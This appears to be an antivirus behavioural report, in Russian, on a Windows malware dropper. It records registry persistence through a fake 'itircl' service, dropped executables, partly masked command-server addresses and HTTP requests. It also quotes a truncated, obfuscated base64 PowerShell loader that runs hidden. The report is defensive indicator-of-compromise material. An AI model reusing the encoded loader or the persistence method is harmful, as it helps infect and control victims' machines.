Техническая информация
Для обеспечения автозапуска и распространения
Устанавливает следующие настройки сервисов
- [<HKLM>\System\CurrentControlSet\Services\itircl] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\itircl] 'ImagePath' = '"%WINDIR%\SysWOW64\sethc\itircl.exe"'
Создает следующие сервисы
- 'itircl' "%WINDIR%\SysWOW64\sethc\itircl.exe"
- 'itircl' %WINDIR%\SysWOW64\sethc\itircl.exe
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABIAGkANgBuAHgAbQBtAD0AKAAoACcAVgBiAGwAJwArACcAOAAnACkAKwAoACcAYwAnACsAJwAxAGkAJwApACkAOwAmACgAJwBuAGUAdwAnACsAJwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABlAE4AdgA6AHQAZQBtAHAAXAB3AG8AUgBkAFwAMgAwAD...
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\word\2019\vitbcg9.exe
Удаляет следующие файлы
- %WINDIR%\syswow64\sethc\itircl.exe
Перемещает следующие файлы
- %TEMP%\word\2019\vitbcg9.exe в %WINDIR%\syswow64\sethc\itircl.exe
Сетевая активность
Подключается к
- '98.##.75.196':80
- '91.##1.54.71':8080
- '20#.#36.123.42':8080
- '89.##.150.160':8080
- '21#.#1.237.140':8080
- '51.##5.165.160':8080
- '18#.#35.15.49':80
- '18#.#.177.210':443
TCP
Запросы HTTP GET
- http://www.ar###of-mea.com/wp-content/c5S/
Запросы HTTP POST
- http://18#.#.177.210:443/oYugpQ0kpATwf4O/ZYJZ/RYnS/KFvZgYc6/ via 18#.#.177.210
UDP
- DNS ASK ar###of-mea.com
Другое
Создает и запускает на исполнение
- '%TEMP%\word\2019\vitbcg9.exe'
- '%WINDIR%\syswow64\sethc\itircl.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABIAGkANgBuAHgAbQBtAD0AKAAoACcAVgBiAGwAJwArACcAOAAnACkAKwAoACcAYwAnACsAJwAxAGkAJwApACkAOwAmACgAJwBuAGUAdwAnACsAJwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABlAE4AdgA6AHQAZQBtAHAAXAB3AG8AUgBkAFwAMgAwAD...' (со скрытым окном)
